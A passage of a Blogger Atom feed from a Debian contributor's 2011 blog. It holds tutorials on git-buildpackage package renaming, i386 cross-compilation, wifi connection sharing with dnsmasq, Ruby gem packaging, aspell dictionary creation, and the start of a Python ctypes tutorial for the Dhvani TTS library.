http://github.com/aravindavk/Gubbi&lt;br /&gt;[2] http://github.com/aravindavk/Navilu&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7107735130942041345-6132348536515768826?l=blog.copyninja.info' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='text/html' href='http://blog.copyninja.info/2011/12/kannada-gets-new-fonts.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7107735130942041345/posts/default/6132348536515768826'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7107735130942041345/posts/default/6132348536515768826'/><link rel='alternate' type='text/html' href='http://blog.copyninja.info/2011/12/kannada-gets-new-fonts.html' title='Kannada gets new fonts'/><author><name>Vasudev Kamath</name><uri>http://www.blogger.com/profile/05106578827322209004</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://1.bp.blogspot.com/_Pms4ehFPMfI/SfQvOlokxkI/AAAAAAAAAiY/kxXT9m_Zmi4/S220/Kakashi.JPG'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7107735130942041345.post-2275168334722085</id><published>2011-11-14T08:35:00.001-08:00</published><updated>2011-11-14T09:21:29.396-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Debian'/><category scheme='http://www.blogger.com/atom/ns#' term='LINUX'/><category scheme='http://www.blogger.com/atom/ns#' term='hack'/><title type='text'>git-buildpackage: Renaming a package in Git repo</title><content type='html'>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;&lt;div style="text-align: justify;"&gt;Just to give a background I've been working on renaming &lt;i&gt;ttf-indic-fonts &lt;/i&gt;package in &lt;i&gt;&lt;a href="http://alioth.debian.org/projects/debian-in"&gt;Debian-IN&lt;/a&gt; &lt;/i&gt;team. And after packaging the &lt;i&gt;Lohit and Samyak fonts &lt;/i&gt;I sent a mail to &lt;i&gt;debian-in-workers &lt;/i&gt;mailing list giving the current status. And after a short &lt;a href="http://lists.alioth.debian.org/pipermail/debian-in-workers/2011-November/001734.html"&gt;discussion&lt;/a&gt; &lt;i&gt;Christian bubulle Perrier&lt;/i&gt; suggested me to use ISO 15924 language codes rather than ISO script code (2 letters).&lt;/div&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;We are now using the Git VCS for maintaining the packages and as known the &lt;i&gt;git-buildpackage &lt;/i&gt;uses a branch called &lt;i&gt;pristine-tar&amp;nbsp; &lt;/i&gt;and &lt;i&gt;upstream &lt;/i&gt;branch to regenerate the &lt;i&gt;orig tar ball. &lt;/i&gt;So if you only change the package name in &lt;i&gt;control &lt;/i&gt;and &lt;i&gt;changelog &lt;/i&gt;and &lt;i&gt;git-buildpackage &lt;/i&gt;fails badly saying it can't create &lt;i&gt;orig tar ball&lt;/i&gt;. So do the following&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;blockquote class="tr_bq"&gt;&lt;i&gt;git checkout pristine-tar&lt;/i&gt;&lt;/blockquote&gt;&lt;blockquote class="tr_bq"&gt;&lt;i&gt;git mv package_version.orig.tar.gz.delta newpackage_version.orig.tar.gz&lt;/i&gt;.&lt;i&gt;delta&lt;/i&gt;&lt;br /&gt;&lt;i&gt;git mv package_version.orig.tar.gz.id newpackage_version.orig.tar.gz.id&lt;/i&gt;&lt;/blockquote&gt;&lt;div style="text-align: justify;"&gt;&lt;i&gt; &lt;/i&gt;Here &lt;i&gt;package&lt;/i&gt; is old package name and &lt;i&gt;newpackage&lt;/i&gt; is new name for the package. Next commit the changes. Now the important point if you simply write &lt;i&gt;renamed the package &lt;/i&gt;as new commit message the when you run &lt;i&gt;git-buildpackage &lt;/i&gt;you will get following warning&lt;/div&gt;&lt;blockquote class="tr_bq"&gt;&lt;i&gt;git-buildpackage: warning renamed pristine-tar data unable to detect compression type assuming gzip&lt;/i&gt;&lt;/blockquote&gt;&lt;div style="text-align: justify;"&gt;After struggling a lot finally figured that &lt;i&gt;pristine-tar &lt;/i&gt;command uses commit message to assume the compression type. Yes thats how pristine-tar is working so you should write commit message similar to the default one created by &lt;i&gt;git-import-dsc &lt;/i&gt;when first importing package to repository. To be more precise commit message should be some thing like below.&lt;/div&gt;&lt;blockquote class="tr_bq"&gt;&lt;div style="text-align: justify;"&gt;&lt;i&gt;pristine-tar data for newpackage_version.orig.tar.gz&lt;/i&gt;&lt;/div&gt;&lt;/blockquote&gt;Replace is &lt;i&gt;newpackage_version.orig.tar.gz &lt;/i&gt;with actual orig tar ball name and in case your package is bzip then replace gz with bz2. And you have successfully renamed the package in git repository.&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7107735130942041345-2275168334722085?l=blog.copyninja.info' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='text/html' href='http://blog.copyninja.info/2011/11/git-buildpackage-renaming-package-in.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7107735130942041345/posts/default/2275168334722085'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7107735130942041345/posts/default/2275168334722085'/><link rel='alternate' type='text/html' href='http://blog.copyninja.info/2011/11/git-buildpackage-renaming-package-in.html' title='git-buildpackage: Renaming a package in Git repo'/><author><name>Vasudev Kamath</name><uri>http://www.blogger.com/profile/05106578827322209004</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://1.bp.blogspot.com/_Pms4ehFPMfI/SfQvOlokxkI/AAAAAAAAAiY/kxXT9m_Zmi4/S220/Kakashi.JPG'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7107735130942041345.post-2501203938811506025</id><published>2011-09-01T11:12:00.000-07:00</published><updated>2011-09-01T11:12:45.620-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='C'/><category scheme='http://www.blogger.com/atom/ns#' term='Programming'/><category scheme='http://www.blogger.com/atom/ns#' term='gcc'/><category scheme='http://www.blogger.com/atom/ns#' term='LINUX'/><title type='text'>Tutorial: Cross compiling C application to i386 architecture</title><content type='html'>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;&lt;div style="text-align: justify;"&gt;Recently I had to compile an C application for i386 architecture but I was running x86_64 Debian Wheezy. The libraries used for linking to create the final application where compiled for i386 arch and GCC was skipping them as it was not compatible one. I knew it is possible to cross compile using GCC but I was a noob to cross compilation. Searching in the internet took me to sites which suggests use of tool chains like binutils. But my program was too simple to undergo through all this. Finally I posted finally this question [1] on StackOverflow, and thanks to guys at Stackoverflow I got immidiate answer!&lt;/div&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;Well yeah as told its pretty easy for corss compiling for i386 architecture in gcc only thing is needed is you add &lt;i&gt;&lt;b&gt;-m32&lt;/b&gt;&lt;/i&gt;&amp;nbsp; in CFLAGS of your make file. You may also add &lt;i&gt;&lt;b&gt;-march=i386&lt;/b&gt;&lt;/i&gt; to optimize it for i386 architecture. Yes you guessed it right this won't work simply you need to have entire i386 compatible libc and libc-dev files so if you are on Debian based system then use following command to install it.&lt;/div&gt;&lt;blockquote&gt;&lt;i&gt;sudo apt-get install ia32-libs ia32-libs-dev libc6-dev-i386&lt;/i&gt;&lt;/blockquote&gt;&lt;div style="text-align: justify;"&gt;If you want to know about other distro's well you better refer your distribution documentation.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Yes this will also works in &lt;i&gt;clang &lt;/i&gt;compiler. &lt;/div&gt;&lt;br /&gt;[1] http://stackoverflow.com/questions/7219256/cross-compiling-a-c-application-using-gcc&lt;br /&gt;&lt;br /&gt;Signing off&lt;br /&gt;-- Vasudev&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7107735130942041345-2501203938811506025?l=blog.copyninja.info' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='text/html' href='http://blog.copyninja.info/2011/09/tutorial-cross-compiling-c-application.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7107735130942041345/posts/default/2501203938811506025'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7107735130942041345/posts/default/2501203938811506025'/><link rel='alternate' type='text/html' href='http://blog.copyninja.info/2011/09/tutorial-cross-compiling-c-application.html' title='Tutorial: Cross compiling C application to i386 architecture'/><author><name>Vasudev Kamath</name><uri>http://www.blogger.com/profile/05106578827322209004</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://1.bp.blogspot.com/_Pms4ehFPMfI/SfQvOlokxkI/AAAAAAAAAiY/kxXT9m_Zmi4/S220/Kakashi.JPG'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7107735130942041345.post-3563083296889581287</id><published>2011-08-07T02:04:00.000-07:00</published><updated>2011-08-07T02:04:50.458-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Sysadmin'/><category scheme='http://www.blogger.com/atom/ns#' term='Debian'/><category scheme='http://www.blogger.com/atom/ns#' term='LINUX'/><title type='text'>Tutorial: Sharing 3G Internet Connection Using Laptop Wifi</title><content type='html'>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;&lt;div style="text-align: justify;"&gt;I've got a new laptop and plan to buy a new internet connection. Since me and my room mate are planning to share the cost of internet we are now faced with a problem of how to share a single datacard connection b/w us. After searhching a lot in the internet came accross this article [1]. But the new isc-dhcp-server package in Debian was not running for some reason so thought of going in my own way using dnsmasq as dhcp and dns server for peer laptop. Below is what I did.&lt;/div&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;First step is to install dnsmasq. Below is the command for installing the&amp;nbsp; same for Debian based distro. For other distro please follow your distro documentation&lt;/div&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;i&gt;apt-get install dnsmasq&lt;/i&gt;&lt;/blockquote&gt;&lt;div style="text-align: justify;"&gt;Next step is configuring the dnsmasq as dhcp and dns cache. First rename the original configuration file &lt;i&gt;dnsmasq.conf&lt;/i&gt; found in /etc to &lt;i&gt;dnsmasq.conf.orig&lt;/i&gt; and create new empty file in place of it&lt;/div&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;i&gt;sudo mv /etc/dnsmasq.conf /etc/dnsmasq.conf.orig&lt;/i&gt; &lt;/blockquote&gt;&lt;blockquote&gt;&lt;i&gt;sudo touch /etc/dnsmasq.conf&lt;/i&gt; &lt;/blockquote&gt;Now add this to your dnsmasq.conf.&amp;nbsp; &lt;br /&gt;&lt;script src="https://gist.github.com/1130151.js"&gt; &lt;/script&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;Modify the file as required. I assume the reader knows basics of dhcp and dns stuffs. If you didn't understand few stuffs ping me or use man page which provides all the information about the commands.&lt;/div&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;After editing dnsmasq.conf now restart the dnsmasq daemon using following command&lt;/div&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;i&gt;sudo /etc/init.d/dnsmasq restart # Debian&lt;/i&gt;&lt;br /&gt;&lt;i&gt;sudo /etc/rc.d/dnsmasq restart # Arch&lt;/i&gt;&lt;/blockquote&gt;&lt;div style="text-align: justify;"&gt;We need to have a small script to enable the internet sharing. This script is originaly taken from [1] I've only enabled the wep encryption to secure the access point&lt;/div&gt;&lt;br /&gt;&lt;script src="https://gist.github.com/1130164.js"&gt; &lt;/script&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;You should run this script as root and once executed you should be able to see the network access point!. Next step is testing B.A.T.M.A.N integration, till then cya..&lt;/div&gt;&lt;br /&gt;Reference:&lt;br /&gt;[1] http://www.go2linux.org/linux/2011/03/share-your-3g-internet-connection-over-wifi-linux-ipod-touch-925 &lt;br /&gt;[2] http://element.edoceo.com/howto/dnsmasq&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7107735130942041345-3563083296889581287?l=blog.copyninja.info' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='text/html' href='http://blog.copyninja.info/2011/08/tutorial-sharing-3g-internet-connection.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7107735130942041345/posts/default/3563083296889581287'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7107735130942041345/posts/default/3563083296889581287'/><link rel='alternate' type='text/html' href='http://blog.copyninja.info/2011/08/tutorial-sharing-3g-internet-connection.html' title='Tutorial: Sharing 3G Internet Connection Using Laptop Wifi'/><author><name>Vasudev Kamath</name><uri>http://www.blogger.com/profile/05106578827322209004</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://1.bp.blogspot.com/_Pms4ehFPMfI/SfQvOlokxkI/AAAAAAAAAiY/kxXT9m_Zmi4/S220/Kakashi.JPG'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7107735130942041345.post-6856319475588019080</id><published>2011-05-15T10:35:00.000-07:00</published><updated>2011-05-15T10:42:11.458-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='packaging'/><category scheme='http://www.blogger.com/atom/ns#' term='Debian'/><title type='text'>Tutorial: Packaging Ruby Gem in Debian</title><content type='html'>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;&lt;div style="color: red; text-align: justify;"&gt;&lt;i&gt;&lt;b&gt;Disclaimer: I'm not a ruby programmer I do ruby packaging because I want to help out the pkg-ruby-extras in their transition to new policy in Wheezy&lt;/b&gt;&lt;/i&gt;&lt;/div&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;To start with I came to package ruby because we (me and some of my friends) wanted to package Diaspora for Debian but later figured that there is lot needs to be done in the &lt;i&gt;pkg-ruby-extras&lt;/i&gt; so thought of helping the team which will intern help in packaging Diaspora.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Before I start here is the new policy for Ruby in Wheezy [1] and here is the current status of ruby packages in Wheezy [2] this is regernerated daily.&lt;/div&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;New policy uses a tool called &lt;i&gt;gem2deb&lt;/i&gt; which makes it very easy to package a gem (of course it only creates skeleton package :)). If you are on testing/unstable you can install the tool by issuing following command&lt;/div&gt;&lt;blockquote&gt;&lt;i&gt;# apt-get install gem2deb&lt;/i&gt; &lt;/blockquote&gt;&lt;div style="text-align: justify;"&gt;If not you can install it from Github using following commands&lt;/div&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;pre style="font-family: inherit;"&gt;&lt;i&gt;git clone git://github.com/ln/gem2deb.git&lt;br /&gt;&lt;span class="anchor" id="line-2"&gt;&lt;/span&gt;cd gem2deb&lt;br /&gt;&lt;span class="anchor" id="line-3"&gt;&lt;/span&gt;rake install&lt;br /&gt;&lt;span class="anchor" id="line-4"&gt;&lt;/span&gt;then, cd to some temporary place, and do:&lt;br /&gt;&lt;span class="anchor" id="line-5"&gt;&lt;/span&gt;gem2deb rdiscount # native gem&lt;br /&gt;&lt;span class="anchor" id="line-6"&gt;&lt;/span&gt;or:&lt;br /&gt;&lt;span class="anchor" id="line-7"&gt;&lt;/span&gt;gem2deb i18n # pure-ruby gem&lt;/i&gt;&lt;/pre&gt;&lt;/blockquote&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;Once you have installed gem2deb its a 3 step task, follow the following 3 steps to get a rough package source ready of a gem&lt;/div&gt;1. Download the gem using following command&lt;br /&gt;&lt;blockquote&gt;&lt;i&gt;gem fetch polyglot&lt;/i&gt;&lt;/blockquote&gt;2. Convert the &lt;b&gt;&lt;i&gt;.gem&lt;/i&gt;&lt;/b&gt; file to &lt;b&gt;&lt;i&gt;.tar.gz&lt;/i&gt;&lt;/b&gt; using following command&lt;br /&gt;&lt;blockquote&gt;&lt;i&gt;gem2tgz polyglot-0.3.1.gem&lt;/i&gt;&lt;/blockquote&gt;3. Now create a rough Debian package source using following command&lt;br /&gt;&lt;blockquote&gt;&lt;i&gt; dh-make-ruby polyglot-0.3.1.tar.gz&lt;/i&gt;&lt;/blockquote&gt;&lt;div style="text-align: justify;"&gt;Actually the &lt;i&gt;pkg-ruby-extras&lt;/i&gt; team suggests using gem2deb in the second step itself which tries to build the gem along with creating Debian package source for it. But I prefer going this way and build the package once I'm completely finished with packaging related stuffs for the package (i.e editing copyright control changelog and other stuffs). If you think you are lazy to follow the above 3 steps then you should checkout the script which I've written. All you need to do is give the gem name(s) to the script and it does the above 3 steps for you.&lt;/div&gt;&lt;br /&gt;&lt;script src="https://gist.github.com/973217.js"&gt; &lt;/script&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;Once the above 3 steps and editing task for the package is done go ahead and build the package using &lt;i&gt;pbuilder. &lt;/i&gt;Check the resulting package for lintian warnings and errors (You can ignore warning regarding &lt;i&gt;ruby-version&lt;/i&gt; field for now there is already a wishlist bug reported against lintian for this). If you are a new maintainer like me go ahead and upload the package to mentors.debian.net and send RFS to &lt;i&gt;debian-ruby at lists dot debian dot org &lt;/i&gt;and wait for the review :) (and do promptly follow up to the replies).&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Reference for this tutorial is in RubyInWheezy page [1]. After reading this tutorial if you are Debian user and passionate about Debian I hope you will help out &lt;i&gt;pkg-ruby-extras&lt;/i&gt; in this transition :)&lt;/div&gt;&lt;br /&gt;[1] &lt;a href="http://wiki.debian.org/Teams/Ruby/RubyInWheezy"&gt;http://wiki.debian.org/Teams/Ruby/RubyInWheezy&lt;/a&gt;&lt;br /&gt;[2] &lt;a href="http://pkg-ruby-extras.alioth.debian.org/wheezy/details.html"&gt;http://pkg-ruby-extras.alioth.debian.org/wheezy/details.html&lt;/a&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7107735130942041345-6856319475588019080?l=blog.copyninja.info' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='text/html' href='http://blog.copyninja.info/2011/05/tutorial-packaging-ruby-gem-in-debian.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7107735130942041345/posts/default/6856319475588019080'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7107735130942041345/posts/default/6856319475588019080'/><link rel='alternate' type='text/html' href='http://blog.copyninja.info/2011/05/tutorial-packaging-ruby-gem-in-debian.html' title='Tutorial: Packaging Ruby Gem in Debian'/><author><name>Vasudev Kamath</name><uri>http://www.blogger.com/profile/05106578827322209004</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://1.bp.blogspot.com/_Pms4ehFPMfI/SfQvOlokxkI/AAAAAAAAAiY/kxXT9m_Zmi4/S220/Kakashi.JPG'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7107735130942041345.post-2243550484823998312</id><published>2011-05-06T11:09:00.000-07:00</published><updated>2011-05-16T20:19:28.016-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Projects'/><category scheme='http://www.blogger.com/atom/ns#' term='FOSS'/><title type='text'>Tutorial: Creating Aspell Dictionaries</title><content type='html'>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;&lt;div style="text-align: justify;"&gt;I recently created aspell-kn dictionary and thus I became author for atleast one upstream project ;).. In this tutorial I'm just going to summarize the steps involved in creating an aspell dictionary for a particular language (in my case Kannada).&lt;/div&gt;&lt;br /&gt;&lt;a name='more'&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;&amp;nbsp;First step is to get the latest source of aspell-lang from cvs. Yes aspell still uses cvs but we need the source only to get a map file for our language and belive it won't take much time even on slow connection (like mine) to checkout the source. Use following command to checkout the aspell-lang.&lt;/div&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;i&gt;cvs -z3 -d:pserver:anonymous@cvs.savannah.gnu.org:/sources/aspell co aspell-lang&lt;/i&gt;&lt;/blockquote&gt;&lt;div style="text-align: justify;"&gt;&amp;nbsp;The above command will create aspell-lang in the directory where you executed it. Now change to &lt;i&gt;&lt;b&gt;aspell-lang/maps&amp;nbsp; &lt;/b&gt;&lt;/i&gt;directory. This directory contains language map files. Look for the map file for your language. If your language has Unicode charachter set the map file should &lt;i&gt;u-&lt;lang&gt;.txt&lt;/lang&gt;&lt;/i&gt;. In my case the file was &lt;i&gt;u-knda.txt&lt;/i&gt;. Open up the file in any editor and check if you need to add anything more than what is already in the file. This file actually maps 128-character Unicode space for the language to the space 128-255. Normally whatever content inside this file should be sufficient but for Indian scripts we require to map 2 Unicode control character &lt;a href="http://en.wikipedia.org/wiki/ZWJ"&gt;ZWJ&lt;/a&gt; and &lt;a href="http://en.wikipedia.org/wiki/ZWNJ"&gt;ZWNJ&lt;/a&gt; This is how u-knda.txt looks after addition of these 2 control characters&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;i&gt;0x11 = U+200C&lt;br /&gt;0x12 = U+200D&lt;br /&gt;0x80..0xFF = U+0C80..U+0CFF&lt;/i&gt;&lt;/blockquote&gt;Next step is to generate the &lt;i&gt;cmap&lt;/i&gt; and &lt;i&gt;cset&lt;/i&gt; file for the language. Under aspell-lang directory there is a perl script "mkchardata"&amp;nbsp; use this to generate &lt;i&gt;u-&lt;lang&gt;.cmap&lt;/lang&gt;&lt;/i&gt; and &lt;i&gt;u-&lt;lang&gt;.cset. &lt;/lang&gt;&lt;/i&gt;In my case I used following command to generate &lt;i&gt;u-knda.cmap&lt;/i&gt; and &lt;i&gt;u-knda.cset&lt;/i&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;i&gt;perl mkchardata maps/u-knda.txt&lt;/i&gt;&lt;/blockquote&gt;&amp;nbsp;Now create a working folder for new directory &lt;i&gt;aspell-&lt;langcode&gt;&lt;/langcode&gt;&lt;/i&gt; in my case &lt;i&gt;aspell-kn, &lt;/i&gt;copy the u-&lt;lang&gt;.cmap and u-&lt;lang&gt;.cset to that directory .cmap and .cset is not mandatory file but I think if your language uses Unicode character set then these files are mandatory. Also create a &lt;i&gt;misc &lt;/i&gt;and copy u-&lt;lang&gt;.txt in to this folder.&lt;/lang&gt;&lt;/lang&gt;&lt;/lang&gt;&lt;br /&gt;Next we need to create &lt;i&gt;info &lt;/i&gt;file. This file contains information about the dictionary. Below is the info file I used for aspell-kn&lt;br /&gt;&lt;script src="https://gist.github.com/959314.js?file=info"&gt;&lt;/script&gt;&lt;br /&gt;As you can see all fields are self explantory. One thing I would like to mention here is &lt;i&gt;data-file &lt;/i&gt;field. If your language needs cset and cmap files then use this field to give their name.&lt;br /&gt;Next you need to create &lt;i&gt;Copying&lt;/i&gt; file describing the terms of dictionary usage. If you are using license other than standard license then licesne text should be placed in &lt;i&gt;COPYING &lt;/i&gt;file. For GPL licences this file will be created during processing phase.&lt;br /&gt;Next important file is &lt;i&gt;&lt;lang&gt;.dat &lt;/lang&gt;&lt;/i&gt;format of this file is described in aspell manual under chapter &lt;i&gt;"Adding support for new language" &lt;/i&gt;[1]. Below is the &lt;i&gt;kn.dat&lt;/i&gt; which I created.&lt;br /&gt;&lt;script src="https://gist.github.com/959373.js?file=kn.dat"&gt;&lt;/script&gt;&lt;br /&gt;&lt;br /&gt;Now we have all the required files. Copy &lt;i&gt;proc&lt;/i&gt; file from &lt;i&gt;aspell-lang&lt;/i&gt; (cloned from cvs) to your working directory and run it as shown below&lt;br /&gt;&lt;blockquote&gt;&lt;i&gt;./proc create&lt;/i&gt;&lt;/blockquote&gt;This will create &lt;i&gt;configure&lt;/i&gt; script and &lt;i&gt;Makefile.pre&lt;/i&gt; finally copy the word list file to working directory and name it as &lt;i&gt;&lt;lang&gt;.wl&lt;/lang&gt;&lt;/i&gt;. Word list file contains list of words seperated by new lines. Now run the following commands&lt;br /&gt;&lt;blockquote&gt;&lt;i&gt;./configure&lt;/i&gt;&lt;br /&gt;&lt;i&gt;make&lt;/i&gt;&lt;/blockquote&gt;This will convert the wl file to cwl (Compressed wordlist file using prezip tool). also creates a rws file. Now the dictionary is ready and to publish the dictionary to world use &lt;i&gt;make dist&lt;/i&gt; this will create a tarball for distribution. Note that tarball doesn't include .wl file it only contains cwl file.&lt;br /&gt;&lt;br /&gt;I created aspell-kn refering to the tutorial on Indlinux wiki [2]. The only reason of rewriting the entire tutorial is I felt the tutorial given in Indlinux wiki is not suitable for beginer (I being the one during creation of aspell-kn had to struggle a lot to get everything together).&lt;br /&gt;&lt;br /&gt;The source for aspell-kn is available at [3] and source for the Kannada wordlist is available at [4] aspell-kn can be downloaded from [5] and will be soon packaged for Debian :) &lt;br /&gt;&lt;br /&gt;[1] http://aspell.net/man-html/Adding-Support-For-Other-Languages.html#Adding-Support-For-Other-Languages&lt;br /&gt;[2] http://indlinux.org/wiki/index.php/IndicSpellchecker &lt;br /&gt;[3] https://gitorious.org/indic-projects/aspell-kn&lt;br /&gt;[4] https://gitorious.org/indic-projects/wordlist&lt;br /&gt;[5] http://sanchaya.net/downloads/aspell-kn/&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7107735130942041345-2243550484823998312?l=blog.copyninja.info' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='text/html' href='http://blog.copyninja.info/2011/05/tutorial-creating-aspell-dictionaries.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7107735130942041345/posts/default/2243550484823998312'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7107735130942041345/posts/default/2243550484823998312'/><link rel='alternate' type='text/html' href='http://blog.copyninja.info/2011/05/tutorial-creating-aspell-dictionaries.html' title='Tutorial: Creating Aspell Dictionaries'/><author><name>Vasudev Kamath</name><uri>http://www.blogger.com/profile/05106578827322209004</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://1.bp.blogspot.com/_Pms4ehFPMfI/SfQvOlokxkI/AAAAAAAAAiY/kxXT9m_Zmi4/S220/Kakashi.JPG'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7107735130942041345.post-1615777593257606500</id><published>2011-03-26T01:30:00.000-07:00</published><updated>2011-05-16T20:20:23.202-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='C'/><category scheme='http://www.blogger.com/atom/ns#' term='Programming'/><category scheme='http://www.blogger.com/atom/ns#' term='python'/><title type='text'>Tutorial: Python and C Coupling Continued (Dhvani with Python)</title><content type='html'>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;&lt;div style="text-align: justify;"&gt;In my previous &lt;a href="http://vasudevkamath.blogspot.com/2010/07/python-and-c-coupling.html"&gt;post&lt;/a&gt; I gave a brief tutorial on how to use C shared library in Python using ctypes module. The example for the tutorial was very simple and didn't involve any complex data structures. In this post I'll be giving a brief insight on how to use &lt;i&gt;ctypes&lt;/i&gt; to interact with C libraries involving complex data structures and function pointer. In this example I'll be using &lt;a href="http://dhvani.sourceforge.net/"&gt;Dhvani&lt;/a&gt; an Indian Language TTS system. Here is the &lt;a href="http://dhvani.sourceforge.net/doc/apis.html"&gt;Dhvani API reference. &lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;blockquote&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;i&gt;&lt;b&gt;Problem:&lt;/b&gt;&lt;/i&gt; Use dhvani API's to genreate speech or a output file in Python&lt;/blockquote&gt;&lt;br /&gt;&lt;a name='more'&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;Let's have a look at the Dhvani API reference (link given above). We have a structure&amp;nbsp; &lt;i&gt;&lt;b&gt;dhvani_options&lt;/b&gt;&lt;/i&gt; which is very important part of dhvani API. Below is the structure&lt;/div&gt;&lt;br /&gt;&lt;blockquote&gt;&amp;nbsp;&lt;i&gt;&lt;span style="font-size: x-small;"&gt;&lt;span style="font-family: Arial,Helvetica,sans-serif;"&gt;&amp;nbsp;&amp;nbsp; typedef struct {&lt;/span&gt;&lt;/span&gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&lt;span style="font-size: x-small;"&gt;&lt;span style="font-family: Arial,Helvetica,sans-serif;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; struct dhvani_VOICE *voice; /* not used now.. for future use.*/&lt;/span&gt;&lt;/span&gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&lt;span style="font-size: x-small;"&gt;&lt;span style="font-family: Arial,Helvetica,sans-serif;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; float pitch;&lt;/span&gt;&lt;/span&gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&lt;span style="font-size: x-small;"&gt;&lt;span style="font-family: Arial,Helvetica,sans-serif;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; float 